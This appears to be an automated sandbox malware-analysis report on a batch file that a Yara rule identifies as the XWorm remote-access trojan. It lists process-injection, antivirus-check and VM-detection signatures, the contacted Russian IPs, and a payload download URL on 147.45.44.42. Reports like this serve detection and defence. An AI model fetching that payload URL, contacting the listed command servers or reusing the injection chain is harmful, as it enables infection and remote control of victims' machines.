Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.12.dr Binary or memory string: MsMpEng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information
barindex
Yara detected XWorm
Source: Yara match File source: 3.2.powershell.exe.2a681788058.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6817a1948.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a681788058.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6817824b8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.3945161499.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3949029976.0000000002911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6988, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 6504, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected XWorm
Source: Yara match File source: 3.2.powershell.exe.2a681788058.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6817a1948.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a681788058.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6817824b8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.powershell.exe.2a6816da360.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.3945161499.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1971913526.000002A6817A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3949029976.0000000002911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1971913526.000002A6816DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6988, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: MSBuild.exe PID: 6504, type: MEMORYSTR
windows-stand
Behavior
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Slideshow Behavior Animation
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1614040 Sample: cmd.bat Startdate: 13/02/2025 Architecture: WINDOWS Score: 100 39 Suricata IDS alerts for network traffic 2->39 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 10 other signatures 2->45 8 cmd.exe 1 2->8         started        process3 signatures4 49 Suspicious powershell command line found 8->49 11 powershell.exe 14 14 8->11         started        16 conhost.exe 8->16         started        process5 dnsIp6 37 147.45.44.42, 49715, 80 FREE-NET-ASFREEnetEU Russian Federation 11->37 31 C:\Users\user\AppData\...\zxf44tui.cmdline, Unicode 11->31 dropped 33 C:\Users\user\AppData\Local\...\zxf44tui.0.cs, Unicode 11->33 dropped 51 Writes to foreign memory regions 11->51 53 Compiles code for process injection (via .Net compiler) 11->53 55 Injects a PE file into a foreign processes 11->55 18 MSBuild.exe 2 11->18         started        22 csc.exe 3 11->22         started        file7 signatures8 process9 dnsIp10 35 92.255.85.66, 49717, 7000 SOVTEL-ASRU Russian Federation 18->35 47 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 18->47 25 WerFault.exe 20 16 18->25         started        29 C:\Users\user\AppData\Local\...\zxf44tui.dll, PE32 22->29 dropped 27 cvtres.exe 1 22->27         started        file11 signatures12 process13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
147.45.44.42
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU true
92.255.85.66
 unknown Russian Federation
42097 SOVTEL-ASRU true

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.214.172 true
s-part-0017.t-0009.fb-t-msedge.net 13.107.253.45 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
92.255.85.66 true
  • Avira URL Cloud: safe
 unknown
http://147.45.44.42/boom/rcvjtk.exe true
  • Avira URL Cloud: safe
 unknown